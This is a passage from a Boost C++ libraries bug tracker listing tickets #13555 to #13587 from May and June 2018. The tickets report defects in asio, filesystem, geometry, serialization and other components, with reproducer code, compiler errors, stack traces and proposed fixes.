boost::interprocess::sharable_lock::owns to boost::interprocess::shared_lock::owns_lock

and so on...

#13587: ssl::stream::async_shutdown() never completes when async_read is active

anonymous — Wed, 06 Jun 2018 07:46:10 GMT

I have a connected ssl::stream. If I do an asio::async_read followed by an async_shutdown on the stream, the read operation will complete with stream_truncated error (as expected) but the async_shutdown operation never completes (i.e. handler never gets called). See a minimal reproduce below.

Environment: Debian stretch, gcc 6.3.0, Boost 1.67, BoringSSL.

My questions:

Is it allowed to call async_shutdown on an ssl::stream when there is an async_read pending?
If yes, is the above behavior expected?
If not, how do I gracefully shutdown an SSL stream when an async_read is pending? And is this restriction documented anywhere?

Code:

#include <boost/asio.hpp>
#include <boost/asio/connect.hpp>
#include <boost/asio/ip/tcp.hpp>
#include <boost/asio/ssl/error.hpp>
#include <boost/asio/ssl/stream.hpp>
#include <cstdlib>
#include <functional>
#include <iostream>
#include <memory>
#include <string>
using tcp = boost::asio::ip::tcp;       // from <boost/asio/ip/tcp.hpp>
namespace ssl = boost::asio::ssl;       // from <boost/asio/ssl.hpp>
void
fail(boost::system::error_code ec, char const* what)
{
    std::cerr << what << ": " << ec.message() << "\n";
}
class session : public std::enable_shared_from_this<session>
{
    tcp::resolver resolver_;
    ssl::stream<tcp::socket> stream_;
    std::string buffer_;
public:
    explicit
    session(boost::asio::io_context& ioc, ssl::context& ctx)
        : resolver_(ioc)
        , stream_(ioc, ctx)
    {
    }
    void
    run(
        char const* host,
        char const* port)
    {
        // Set SNI Hostname (many hosts need this to handshake successfully)
        if(! SSL_set_tlsext_host_name(stream_.native_handle(), host))
        {
            boost::system::error_code ec{static_cast<int>(::ERR_get_error()), boost::asio::error::get_ssl_category()};
            std::cerr << ec.message() << "\n";
            return;
        }
	resolver_.async_resolve(
            host,
            port,
            std::bind(
                &session::on_resolve,
                shared_from_this(),
                std::placeholders::_1,
                std::placeholders::_2));
    }
    void
    on_resolve(
        boost::system::error_code ec,
        tcp::resolver::results_type results)
    {
        if(ec)
            return fail(ec, "resolve");
        boost::asio::async_connect(
            stream_.next_layer(),
            results.begin(),
            results.end(),
            std::bind(
                &session::on_connect,
                shared_from_this(),
                std::placeholders::_1));
    }
    void
    on_connect(boost::system::error_code ec)
    {
        if(ec)
            return fail(ec, "connect");
        stream_.async_handshake(
            ssl::stream_base::client,
            std::bind(
                &session::on_handshake,
                shared_from_this(),
                std::placeholders::_1));
    }
    void
    on_handshake(boost::system::error_code ec)
    {
        if(ec)
            return fail(ec, "handshake");
	std::cout << "Connected" << std::endl;
	boost::asio::async_read(stream_, boost::asio::dynamic_buffer(buffer_),
            std::bind(
                &session::on_read,
                shared_from_this(),
                std::placeholders::_1,
                std::placeholders::_2));
        stream_.async_shutdown(
            std::bind(
                &session::on_shutdown,
                shared_from_this(),
                std::placeholders::_1));
    }
    void
    on_read(
        boost::system::error_code ec,
        std::size_t)
    {
        if(ec)
            return fail(ec, "read");
        std::cout << "Message received" << std::endl;
    }
    void
    on_shutdown(boost::system::error_code ec)
    {
	std::cout << "Closed" << std::endl;
    }
};
int main(int argc, char** argv)
{
    boost::asio::io_context ioc;
    ssl::context ctx{ssl::context::sslv23_client};
    std::make_shared<session>(ioc, ctx)->run("www.google.com", "443");
    ioc.run();
    return EXIT_SUCCESS;
}

The program will output

Connected
read: stream truncated

and hangs.

#13586: array::rangecheck() allows access one element past end of array

anonymous — Sat, 02 Jun 2018 08:38:20 GMT

The array::rangecheck method does not throw an out of range exception for an index equal to the array size.

This makes the at() method not throw an exception for N as index value. This differs from the documentation for that method.

Note: I discovered this by reading the code and have not made any tests of this behavior.

#13585: Undefined Behavior results in optimizer removing critical check

bart.wyatt@… — Thu, 31 May 2018 21:16:23 GMT

We have been experiencing an odd BAD_ACCESS when calling boost::filesystem::copy(const path& from, const path& to)

the symptom is a null pointer dereference when converting *ec to a bool at operations.cpp:894. However, this is preceeded by a check to ensure the ec != 0 which is being subverted.

The working theory is that on operations.cpp:893 a potentially null pointer to a boost::system::error_code is dereferenced and assigned to a reference as part of symlink_status(from, *ec) which is *undefined behavior*.

As a result, the optimizer seems to be removing the "ec != 0" check from the next line based on the knowledge that if ec had been null it would have resulted in undefined behavior already. This of course leads to the null ec being dereferenced and having its bool conversion called. In turn, this creates a bad access and abort.

#13584: boost beast flat buffer move ctor, move assign and swap all "cancel" a prepare()

paul.d.rose@… — Thu, 31 May 2018 03:34:48 GMT

The boost beast flat_buffer "cancels" any outstanding prepare() when being moved from or swapped.

This seems like a very sane thing to do.

However, boost::asio::async_read_until depends on calling prepare() on it's DynamicBuffer and then calling the corresponding commit() on a moved-to version.

Flat buffer will (correctly) silently commit the minimum of the requested size and the size from the previous prepare(). When used with async_read_until, the commit is always zero, since the prepare was "cancelled" by the move.

The flat_buffer code always sets last_ to out_ during a move or swap, which is what achieves what I am calling the "cancel" of the prepare().

I tested setting last_ to other.last_ in the move ctor, move assignment, and swap, and verified that asio::async_read_until now works with beast::flat_buffer On this report I set component=asio, because I couldn't find beast on the drop box.

I'm working with 1.67 and g++ 7.30 on ubuntu 18.04

#13583: quantities can be assigned from cmath sqrt result, but not initialized

edaskel@… — Wed, 30 May 2018 21:33:28 GMT

The cmath functions are very helpful in letting me perform math on quantities, but I ran across an inconsistency. Code like:

    quantity<wavenumber, float> x, y;
    quantity<wavenumber, float> foo = sqrt(x*x + y*y);

fails to compile (with an "error: conversion from..."). The workaround is to use an assignment instead:

    quantity<wavenumber, float> foo;
    foo = sqrt(x*x + y*y);

It seems odd to have this restriction (and it's certainly undocumented) so I suspect it is a bug.

#13582: what does $(>) mean?

anonymous — Wed, 30 May 2018 06:42:25 GMT

I notice below logic in tools/build/src/tools/gcc.jam actions link.dll bind LIBRARIES {

"$(CONFIG_COMMAND)" -L"$(LINKPATH)" -Wl,$(RPATH_OPTION:E=-R)$(SPACE)-Wl,$(RPATH) "$(.IMPLIB-COMMAND)$(<[1])" -o "$(<[-1])" $(HAVE_SONAME)-Wl,$(SONAME_OPTION)$(SPACE)-Wl,$(<[-1]:D=) -shared $(START-GROUP) "$(>)" "$(LIBRARIES)" $(FINDLIBS-ST-PFX) -l$(FINDLIBS-ST) $(FINDLIBS-SA-PFX) -l$(FINDLIBS-SA) $(END-GROUP) $(OPTIONS) $(USER_OPTIONS)

}

And then I google and find $(>) will be "expanded to a list of source files". Refer to the source files, they are absolute path? is there any means to use relate path?

#13581: `basic_stream_socket::read_some` on `non_blocked` socket returns `ec=would_block`

Tue, 29 May 2018 14:52:30 GMT

In the boost\asio\detail\impl\socket_ops.ipp file there is sync_recv function which should block until some data is received.

Inside this function there is following if block

    if ((state & user_set_non_blocking)
        || (ec != boost::asio::error::would_block
          && ec != boost::asio::error::try_again))
      return 0;

IMHO condition is wrong here. It should return 0 for all cases except socket is in non_blocking mode and ec is one of [would_block, try_again]

In fact if socket is in 'non-blocked' mode and ec = would_block, it also returns 0.

If assumption is correct, code should look like

    if (0 == (state & user_set_non_blocking)
        || (ec != boost::asio::error::would_block
          && ec != boost::asio::error::try_again))
      return 0;

#13580: The call "boost::filesystem::create_directories" on Windows cannot create a complete chain of directories, if the path's item contains terminating space(s)

sz@… — Tue, 29 May 2018 11:50:09 GMT

The issue is obserbed on OS Windows, and not on OS Linux. Looks like a subdirectory, which name contains terminal space(s), is created without space(s) on OS Windows, and then an attempt to create a nested subdirectory fails.

#13579: memory management in algorithm::is_any_of

anonymous — Tue, 29 May 2018 10:29:02 GMT

In boost/algorithm/string/detail/classification.hpp, is_any_ofF contains a fixed buffer

set_value_type m_fixSet[sizeof(set_value_type*)*2];

This buffer is used for storage when the following predicate holds:

static bool use_fixed_storage(std::size_t size)
{
    return size<=sizeof(set_value_type*)*2;
}

Note that as the RHS of the inequality is measured in bytes, the argument size should also be measured in bytes. However, a typical use is as follows:

std::size_t Size=::boost::distance(Range);
m_Size=Size;
if(use_fixed_storage(m_Size))

boost::distance does not return a value in bytes; it returns the length of a sequence. It's quite possible for e.g. a sequence of length 2 to occupy 16 bytes.

This results in reads past the end of m_fixSet, and consequent segfaults.

#13578: Why boost.context export make_x86_64_sysv_elf_gas.o

anonymous — Tue, 29 May 2018 07:54:20 GMT

when build context library, it will compile some assembly files. After the context library generated, I use readelf to analyze the context library as below: readelf --wide --symbols /my-build/boost/1.67.0-r0/boost_1_67_0/x86_64-poky-linux/boost/bin.v2/libs/context/build/aca09349fdb84d131321425f6c3a38ed/libboost_context.so.1.67.0

42: 0000000000000000 0 FILE LOCAL DEFAULT ABS /my-build/boost/1.67.0-r0/boost_1_67_0/x86_64-poky-linux/boost/bin.v2/libs/context/build/aca09349fdb84d131321425f6c3a38ed/asm/make_x86_64_sysv_elf_gas.o

Why does the make_x86_64_sysv_elf_gas.o line exist in the output of "readelf --wide --symbols /my-build/boost/1.67.0-r0/boost_1_67_0/x86_64-poky-linux/boost/bin.v2/libs/context/build/aca09349fdb84d131321425f6c3a38ed/libboost_context.so.1.67.0", is there any means to hidden the line?

#13576: boost filesystem create_directories function fails randomly when accessing to a mapped network drive

sergio.anza@… — Mon, 28 May 2018 15:07:47 GMT

When trying to create a folder in a mapped network drive with boost filesystem create_directories function, I get random errors of type: "The system cannot find the path specified.". By random I mean that sometimes I get the error and sometimes I don't.

And yes, I have checked:

It is a valid path.
It is not a too long path. In fact, I use windows extended path as \?\PATH.
The network drive works perfectly, and it is inside our company local network (Gigabit ethernet).
I have write permissions.
There are not unicode characters.

Below the code (adapted to make it more simple).

#include "boost/filesystem.hpp"
#include <string>
#include <chrono>
#include <thread>
#include <iostream>
#define MAX_RETRIES 10
#define RETRY_TIME 5000 //in millisecond
namespace fs = boost::filesystem;
bool createDirectory(const std::string& folderPath)
{
    //If the function does not succeed to create the directory in first place, it will retry after RETRY_TIME miliseconds a maximum number of MAX_RETRIES.
    for (unsigned int i=0; i<MAX_RETRIES; i++)
    {
        try
        {
            if (fs::create_directories(fs::path(folderPath)))
            {
                std::cerr << "Folder created successfully!" << std::endl;
                return true;
            }
        }
        catch (fs::filesystem_error const & e)
        {
                std::cerr << "File operation problem with files: " << e.what() <<". Try number: "<<i+1<<std::endl;
        }
        if (i==MAX_RETRIES-1)
        {
            return false;
        }
        std::this_thread::sleep_for(std::chrono::milliseconds(RETRY_TIME));
    }
    return true;
}

In this example I am trying to create the folder:

Z:\PRIVATE_FOLDERS\XXX\tests\YYY\ZZZZZ\MMMMMMM\CCCCCC\@mmmm1\@ccccc1\@eeeeeeeee2 (Z is a network mapped drive):

And here is the output. Sometimes it works the first time

Folder created successfully!

Sometimes it fails several consecutive times until it works. Magic?

File operation problem with files: "boost::filesystem::create_directories: The system cannot find the path specified: "\\?\Z:\PRIVATE_FOLDERS\XXX\tests\YYY\ZZZZZ\MMMMMMM\CCCCCC\@mmmm1\@ccccc1\@eeeeeeeee2"". try number: 1
File operation problem with files: "boost::filesystem::create_directories: The system cannot find the path specified: "\\?\Z:\PRIVATE_FOLDERS\XXX\tests\YYY\ZZZZZ\MMMMMMM\CCCCCC\@mmmm1\@ccccc1\@eeeeeeeee2"". try number: 2
File operation problem with files: "boost::filesystem::create_directories: The system cannot find the path specified: "\\?\Z:\PRIVATE_FOLDERS\XXX\tests\YYY\ZZZZZ\MMMMMMM\CCCCCC\@mmmm1\@ccccc1\@eeeeeeeee2"". try number: 3
Folder created successfully!

The problem of this implementation is that, a priori there is no way to differentiate if the input path is a network drive, or it is a wrong path or does not have write permissions. Therefore I need always to spend the MAX_RETRIES until it finally fails, with the consequent performance penalty.

Notes:

I am on Windows 10
Boost version is 1.60 built on VS2015 downloaded from official webpage.
I use intel compiler 17 for the rest of the code.

#13575: boost asio memory leak

boris@… — Thu, 24 May 2018 14:39:13 GMT

This code on heavily loaded server leads to memory leak inside kqueue_reactor::allocate_descriptor_state():

boost::asio::ip::udp::socket s(io_service);
s.open(boost::asio::ip::udp::v4());
s.bind(boost::asio::ip::udp::endpoint(boost::asio::ip::udp::v4(), 0));

While this code doesn't lead to this leak:

boost::asio::ip::udp::socket s(io_service, boost::asio::ip::udp::endpoint(boost::asio::ip::udp::v4(), 0));

Tested on MacOS.

#13573: container/detail/flat_tree.hpp should not #include

huili80@… — Wed, 23 May 2018 14:38:52 GMT

Code that uses boost::container::flap_map fails to compile on gcc4.8.5 with -std=c++1 when BOOST_MOVE_USE_STANDARD_LIBRARY_MOVE is defined, with the following compile error:

boost/move/unique_ptr.hpp: In constructor 'boost::movelib::unique_ptr<T, D>::unique_ptr(boost::movelib::unique_ptr<T, D>&&)': boost/move/unique_ptr.hpp:528:29: error: 'move_if_not_lvalue_reference' is not a member of 'boost'

: m_data(u.release(), ::boost::move_if_not_lvalue_reference<D>(u.get_deleter()))

boost/move/unique_ptr.hpp:528:68: error: expected primary-expression before '>' token

: m_data(u.release(), ::boost::move_if_not_lvalue_reference<D>(u.get_deleter()))

I was able to workaround this by passing in -DBOOST_MOVE_MAKE_UNIQUE_HPP_INCLUDED on the commandline to gcc, which effectively inhibits boost/move/make_unique.hpp from being included.

The fact the above workaround worked at all seems to suggest that container/detail/flat_tree.hpp has no dependency on boost/move/make_unique.hpp.

#13571: difference results in invalid output

anonymous — Tue, 22 May 2018 14:25:02 GMT

The difference of the following polygons results in invalid output:

using point_type = boost::geometry::model::d2::point_xy<double>; typedef boost::geometry::model::ring<point_type, false, true> polygon; ring<Point, ClockWise, Closed, ..>

polygon op1, op2;

boost::geometry::read_wkt("POLYGON((-5.357134899522904 1.708858148436605, -5.357046447070072 1.70877395054338, -5.210065937318399 -4.255706093497865, -8.65742840572935 -7.877265427733816, -9.246259311414669 -8.490599384498884, -8.647097810281494 -9.763145957490103, -5.287187110528729 -8.539478296007726, 4.07689365108185 -12.90390576571258, 6.997906000870004 3.116694062477888, -3.776939893600782 18.69699618899459, -3.858843408040787 18.57007309862488, -2.981468369027455 17.54675359552481, -4.116369566376584 2.772428265346094, -5.357134899522904 1.708858148436605))", op1); boost::geometry::read_wkt("POLYGON((-8.382184938267567 -5.157754480221099, -11.2072487852155 -5.954897113329205, -12.6412056272337 -8.516183878234685, -11.8440629941256 -11.34124772518262, -9.282776229220117 -12.77520456720082, -6.457712382272181 -11.97806193409271, -5.023755540253982 -9.416775169187234, -5.820898173362086 -6.591711322239298, -8.382184938267567 -5.157754480221099))", op2); boost::geometry::validity_failure_type type0 = boost::geometry::no_failure; bool v0 = boost::geometry::is_valid(op1, type0);

boost::geometry::validity_failure_type type1 = boost::geometry::no_failure; bool v1 = boost::geometry::is_valid(op2, type1);

std::vector<polygon> polyOutTemp; boost::geometry::difference(op1, op2, polyOutTemp);

boost::geometry::validity_failure_type type3 = boost::geometry::no_failure; bool v2 = boost::geometry::is_valid(polyOutTemp[0], type3);

polyOutTemp[0] is invalid because of self intersections. It seems to be a precision issue, since the self intersection occurs in a part of the polygon that should not affected by the difference algorithm.

#13570: asio_handler_invoke resume wrong thread in coroutine

pengying.wu@… — Mon, 21 May 2018 09:58:20 GMT

Environment:
Windows 10, VS2015 Update3, Boost 1.65.1, Boost 1.67.0, x86/x64

Coroutine should be suspended and resumed by the same thread, but in boost 1.67.0 it doesn't. I guess it's a bug introduced since boost 1.66.

In Boost 1.65.0, correct behavior, output:
thread : 37c0
thread : 37c0
hello

In Boost 1.67.0, wrong behavior, output:
thread : df4
thread : 1844
hello

#include <iostream>
#include <boost/asio.hpp>
#include <boost/asio/spawn.hpp>
#include <boost/bind.hpp>
#include <boost/thread.hpp>
std::string Test(boost::asio::io_service& ios,
    boost::asio::yield_context yield)
{
    boost::asio::io_service::work work(ios);
#if BOOST_VERSION >= 106600
    boost::asio::async_completion<
        boost::asio::yield_context,
        void(boost::system::error_code, std::string)>
        init(BOOST_ASIO_MOVE_CAST(boost::asio::yield_context)(yield));
    auto handler = init.completion_handler;
#else
    boost::asio::detail::async_result_init<
        boost::asio::yield_context,
        void(boost::system::error_code, std::string)>
        init(BOOST_ASIO_MOVE_CAST(boost::asio::yield_context)(yield));
    auto handler = init.handler;
#endif
    boost::thread t([&handler]() {
        boost::this_thread::sleep_for(boost::chrono::seconds(2));
        boost::asio::detail::asio_handler_invoke(
            boost::bind<void>(
                handler, boost::system::error_code(), "hello"), &handler);
    });
    t.detach();
    return init.result.get();
}
int main(int argc, char* argv[])
{
    boost::asio::io_service ios;
    boost::asio::spawn(ios, [&ios](boost::asio::yield_context yield) {
        boost::system::error_code ec;
        std::cout << "thread : " << boost::this_thread::get_id() << std::endl;
        std::string msg = Test(ios, yield[ec]);
        std::cout << "thread : " << boost::this_thread::get_id() << std::endl;
        std::cout << msg << std::endl;
    });
    ios.run();
    std::string tmp;
    std::cin >> tmp;
    return 0;
}

#13569: Broken build on newer versions of LLVM

Fri, 18 May 2018 21:45:49 GMT

Starting with LLVM r331746, the use of compare-and-swap on a const object is not allowed. On x86 and Clang, this breaks several places in atomic/detail/ops_gcc_x86_dcas.hpp, like this:

if defined(__clang__)
            // Clang cannot allocate eax:edx register pairs but it has sync intrinsics
            value = __sync_val_compare_and_swap(&storage, (storage_type)0, (storage_type)0);
#elif defined(BOOST_ATOMIC_DETAIL_X86_NO_ASM_AX_DX_PAIRS)
...

The use of compare-and-swap is actually a workaround for a Clang limitation which hasn't existed for a long time. Clang versions newer than 4.0.1 understand "=&A" contraints. I am attaching a proposed patch to ops_css_x86_dcas.hpp and config.hpp which detects the Clang version (using a has_feature), and if it's new enough, uses the "=&A" constraint, otherwise falls back to the existing compare-and-swap. (I had to do a bit of fancy footwork with the #ifs to make this happen.)

#13568: no referenceto boost::regex libraries error in compilation

anonymous — Fri, 18 May 2018 13:58:20 GMT

I am compiling a project on an Linux machine (Ubuntu 16.04) and running into build errors that mention undefined references to boost:re_detail_106300

-all the functions in my projects that use the boost::regex library are flagged as no reference

#13567: io_context ::run() doesn't return immediately on stopped io_context due to Windows implementation

cvzakharchenko@… — Wed, 16 May 2018 08:27:11 GMT

This code hangs, when running on Windows:

    boost::asio::io_context context;                // 1
    boost::asio::post(context, []() { for (;;); }); // 2
    context.stop();                                 // 3
    context.run();                                  // hangs in a handler, posted in 2

io_context::stop documentation says:

Subsequent calls to run(), run_one(), poll() or poll_one() will return immediately until restart() is called.

Which is, judging by example above, isn't true. Same goes for io_context::stopped:

When an io_context object is stopped, calls to run(), run_one(), poll() or poll_one() will return immediately without invoking any handlers.

and code example below:

    boost::asio::io_context context;                // 1
    boost::asio::post(context, []() { for (;;); }); // 2
    context.stop();                                 // 3
    if (context.stopped())
    {
        context.run();                              // hangs in a handler, posted in 2
    }

When running on Linux, same code fully complies the documentation and doesn't invoke any handlers in examples provided.

#13566: difference and intersection yield wrong result

Wed, 16 May 2018 06:51:43 GMT

We are developing new algorithm that will hopefully be based on boost::geometry. Unfortunately we have come across some errors in the difference and intersection computations (possibly related to #13522 and #13553), which are a central part of the algorithm.

I posted my original problem as a comment in #13522 (https://wandbox.org/permlink/ThHHAW13DOdHbgEx)

After reading #13553 I tried out the define BOOST_GEOMETRY_NO_ROBUSTNESS which at first seemed to work. However, I then ran into a problem at another position (https://wandbox.org/permlink/8YH8EiIRMtsUd1LH) The two polygons have finite, not too small intersection, but both the intersection and the difference are empty.

The problem seems be that the two geometries overlap almost exactly in one vertex (0.0054, -0.02436) - this is the second vertex of the green polygon and the first vertex of the blue polygon.

Changing the coordinate (0.0054) in the green polygon only slightly yields the correct result.

#13565: Compilation issue with property_tree on VS2017 15.7

Tue, 15 May 2018 10:05:28 GMT

The new Visual Studio 2017 15.7 with following compiler settings:

Conformance mode: Yes(/permissive-) C++ Language Standard: ISO C++17 Standard (/std:c++17)

generates following error:

Error C3203 'iterator': unspecialized class template can't be used as a template argument for template parameter 'Iterator', expected a real type

: public boost::reverse_iterator<iterator>

during the compilation of the following code:

std::string value = { "[GENERAL]\n"

"MyValue=42" };

namespace bpt = boost::property_tree; bpt::ptree tree; try {

std::istringstream input(value); bpt::read_ini(input, tree); Parse the INI-File into the property tree.

} catch (...) { }

int const v = tree.get<int>("GENERAL.MyValue", 0);

It looks like it has something todo with the deprecation of std::iterator in C++17. In case the Conformance mode is switched to "No", the code compiles without any errors. It is also dependent on project configuration and include order, since my first try to create an isolated project for demonstration didn't resulted in the same error. But I didn't invest much time for it.

Here is my proposal for the solution of the issue: Prefix the template parameter to make them fully qualified.

Change lines 112 and 122:

class basic_ptree<K, D, C>::reverse_iterator

: public boost::reverse_iterator<iterator>

and

class basic_ptree<K, D, C>::const_reverse_iterator

: public boost::reverse_iterator<const_iterator>

to:

class basic_ptree<K, D, C>::reverse_iterator

: public boost::reverse_iterator<basic_ptree<K, D, C>::iterator>

and

class basic_ptree<K, D, C>::const_reverse_iterator

: public boost::reverse_iterator<basic_ptree<K, D, C>::const_iterator>

This resolves the issue on my side.

#13564: Compile error of asio::async_read_until

Sun, 13 May 2018 11:28:16 GMT

I have a new compile error after moving from asio in 1.65.1 to asio in 1.67.0. Same code which compiled fine before. async_read_until uses read_until_delim_string_op in read_until.hpp, and the ctor has been rewritten in 67.0. It seems to want now to copy the buffer in the first constructor. Buffers are non copyable, so there is a compile error.

The 67.0 ctor is now a template:

template <typename BufferSequence> read_until_delim_string_op(AsyncReadStream& stream,

BOOST_ASIO_MOVE_ARG(BufferSequence) buffers, const std::string& delim, ReadHandler& handler)

: stream_(stream),

buffers_(BOOST_ASIO_MOVE_CAST(BufferSequence)(buffers)), delim_(delim), start_(0), search_position_(0), handler_(BOOST_ASIO_MOVE_CAST(ReadHandler)(handler))

{ }

In 65.1 the ctor was:

read_until_delim_op(AsyncReadStream& stream,

boost::asio::basic_streambuf<Allocator>& streambuf, char delim, ReadHandler& handler)

: stream_(stream),

streambuf_(streambuf), delim_(delim), start_(0), search_position_(0), handler_(BOOST_ASIO_MOVE_CAST(ReadHandler)(handler))

I have gcc 8.1. Not sure if this is a bug (it sounds like it), therefore logging this as "Support Request" for now.

#13563: Error deserializing empty forward_list

Fri, 11 May 2018 12:03:11 GMT

Deserializing an empty forward_list is broken if the elements aren't default constructible (with old compilers it's enough that elements have a non-trivial default constructor).

A patch is attached. The problem is that the first element is always loaded first, even if the list is empty. The result may be a crash or any undefined behavior, since deserialization goes out of sync.

Test case:

#include <boost/serialization/forward_list.hpp>
#include <boost/archive/binary_iarchive.hpp>
#include <boost/archive/binary_oarchive.hpp>
#include <forward_list>
#include <iostream>
#include <sstream>
struct Foo
{
  int x;
  Foo(int a) : x(a) {};
  template<class Archive>
  void serialize(Archive& ar, const unsigned int) { ar & x; }
private:
  friend class boost::serialization::access;
  Foo() = default;
};
int main()
{
  std::forward_list<Foo> flist;
  std::ostringstream oss;
  boost::archive::binary_oarchive oa{oss};
  oa << flist;
  std::istringstream iss{oss.str()};
  boost::archive::binary_iarchive ia{iss};
  ia >> flist;
}

Results in:

terminate called after throwing an instance of 'boost::archive::archive_exception'
  what():  input stream error
Aborted (core dumped)

#13562: Missing null pointer check in compensating_work_started

michael.lindig@… — Tue, 08 May 2018 08:01:20 GMT

In boost/asio/detail/impl/scheduler.ipp(275):

void scheduler::compensating_work_started()
{
  thread_info_base* this_thread = thread_call_stack::contains(this);
  ++static_cast<thread_info*>(this_thread)->private_outstanding_work;
}

there is a missing null pointer check for this_thread, other routines have one!

I saw the error comming from boost/asio/detail/impl/epoll_reactor.ipp(712):

688 struct epoll_reactor::perform_io_cleanup_on_block_exit
689 {
690   explicit perform_io_cleanup_on_block_exit(epoll_reactor* r)
691     : reactor_(r), first_op_(0)
692   {
693   }
694
695   ~perform_io_cleanup_on_block_exit()
696   {
697     if (first_op_)
698     {
699       // Post the remaining completed operations for invocation.
700       if (!ops_.empty())
701         reactor_->scheduler_.post_deferred_completions(ops_);
702
703       // A user-initiated operation has completed, but there's no need to
704       // explicitly call work_finished() here. Instead, we'll take advantage of
705       // the fact that the scheduler will call work_finished() once we return.
706     }
707     else
708     {
709       // No user-initiated operations have completed, so we need to compensate
710       // for the work_finished() call that the scheduler will make once this
711       // operation returns.
712       reactor_->scheduler_.compensating_work_started();
713     }
714   }

#13560: Cannot build --with-python --with-mpi --python-buildid=py36 python=3.6

Thu, 03 May 2018 11:43:37 GMT

For a long time, debian would do multiple build configs of boost. First, build boost without python. Then build boost for each supported python version, including mpi/mpi-python/numpy.

However, this does not appear to quite work. Previously boost_python introduced boost_python2 and boost_python3 libraries pointing at the default versions of respective major series. But in master/1.66/1.67 these appear to be gone.

However, mpi Jamfile still refers to boost_python3 library which no longer exists.

Either it is a bug in boost_python that it has dropped boost_python2 and boost_python3 aliases. Or it is a bug in mpi Jamfiles and it should stop using boost_python2 and boost_python3 aliases and simply compile against "boost_python" and use a matching buildid.

I've proposed a patch to make mpi build against 'boost_python' without iterating for 2 3 major versions here

https://github.com/boostorg/mpi/pull/58/files

Components are mpi&python

#13559: boost::program_options::detail::make_vector class removed?

anonymous — Wed, 02 May 2018 23:30:04 GMT

Boost v 1.66 contains this in program_options/detail/parsers.hpp

namespace boost { namespace program_options {

namespace detail {

template<class charT, class Iterator> std::vector<std::basic_string<charT> > make_vector(Iterator i, Iterator e) {

std::vector<std::basic_string<charT> > result; Some compilers don't have templated constructor for vector, so we can't create vector from (argv+1, argv+argc) range for(; i != e; ++i)

result.push_back(*i);

return result;

}

}

This is not present in v 1.67, and the release notes make no mention of the change. Was it left out inadvertently? Moved to a different library?

#13558: gcd(INT_MIN, INT_MIN) crashes

Wed, 02 May 2018 20:28:08 GMT

The following produces a SIGFPE for me:

#include <iostream>
#include <climits>
#include <boost/integer/common_factor_rt.hpp>
int main()
{
    std::cout << boost::integer::gcd(INT_MIN, INT_MIN);
}

because it simplifies gcd(INT_MIN, INT_MIN) => gcd(INT_MIN % INT_MIN, INT_MIN) => gcd(0, INT_MIN) => gcd(0, INT_MIN % 0) => gcd(0, SIGFPE)`.

I'm actually not sure what the right behavior is (the documented behavior is that the return is always positive, and, for example, gcd(-2, -2) returns 2, but obviously you can't do that here).

Boost 1.63 returned INT_MIN in this case, which seems like the best answer.

Responsible commit: https://github.com/boostorg/integer/commit/beb68718640150f67fe5671bbbb7848d9e7170b8

#13557: Boost 1.67.0 chrono library Windows build installs NTFS junction

george@… — Tue, 01 May 2018 19:14:37 GMT

While testing our internal build of Boost with the latest version, I noticed the following problem when building on Windows using MSVC 2015:

During the build the following statements are logged:

mklink-or-dir boost\chrono\stopwatches
      mklink /J "boost\chrono\stopwatches" "libs\chrono\stopwatches\include\boost\chrono\stopwatches"
  Junction created for boost\chrono\stopwatches <<===>> libs\chrono\stopwatches\include\boost\chrono\stopwatches

This command creates an NTFS junction, which is something new compared to any previous version of Boost I've used (which goes back to 1.50.0).

My problem is that we're building Boost using our own CMake scripts and the CMake "install" command cannot handle NTFS junctions, it simply fails during our custom follow-up step that packages the built binaries and headers.

I haven't seen NTFS junctions seen used before, so I wonder if this procedure was intentional or not. Is there an option to have the bjam install phase make a copy of those files instead of creating the junction?

#13556: boost::geometry::within() is not finding a point within a segment

Tue, 01 May 2018 17:20:11 GMT

1). I construct two segment objects which intersect, and use geometry::intersection() to select the point where they intersect.

2). I use geometry::within() to check that the point is within each of the segments.

I've found that if I use segments that are perpendicular, within() behaves as I would expect.

#13555: Crash when statically linked to the dynamic library when use dlopen.

Tue, 01 May 2018 15:48:05 GMT

Hi!

I have shared library under Linux that is statically linked to boost_serialization. I load my library twice durind my application wors by the use dlopen/dlclose. At the second dlopen I have:

#0 boost::serialization::typeid_system::extended_type_info_typeid_0::is_less_than (rhs=..., this=0x1003730) at libs/serialization/src/extended_type_info_typeid.cpp:59 #1 boost::serialization::typeid_system::type_compare::operator() (this=0x863360, rhs=0xf838f0, lhs=0x1003730) at libs/serialization/src/extended_type_info_typeid.cpp:41 #2 std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::_M_get_insert_equal_pos (k=<optimized out>, this=0x863360)

at /usr/include/c++/7/bits/stl_tree.h:2069

#3 std::_Rb_tree<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::extended_type_info_typeid_0 const*, std::_Identity<boost::serialization::typeid_system::extended_type_info_typeid_0 const*>, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::_M_insert_equal<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> (

v=<optimized out>, this=0x863360) at /usr/include/c++/7/bits/stl_tree.h:2117

#4 std::multiset<boost::serialization::typeid_system::extended_type_info_typeid_0 const*, boost::serialization::typeid_system::type_compare, std::allocator<boost::serialization::typeid_system::extended_type_info_typeid_0 const*> >::insert (

x=<optimized out>, this=<optimized out>) at /usr/include/c++/7/bits/stl_multiset.h:498

#5 boost::serialization::typeid_system::extended_type_info_typeid_0::type_register (this=0x1003730, ti=...) at libs/serialization/src/extended_type_info_typeid.cpp:91 #6 0x00007fffd6023819 in boost::serialization::extended_type_info_typeid<QFont>::extended_type_info_typeid (this=0x1003730) at /opt/boost/include/boost/serialization/extended_type_info_typeid.hpp:91 #7 0x00007fffd60231a0 in boost::serialization::singleton<boost::serialization::extended_type_info_typeid<QFont> >::get_instance()::singleton_wrapper::singleton_wrapper() (this=0x1003730)

at /opt/boost/include/boost/serialization/singleton.hpp:121

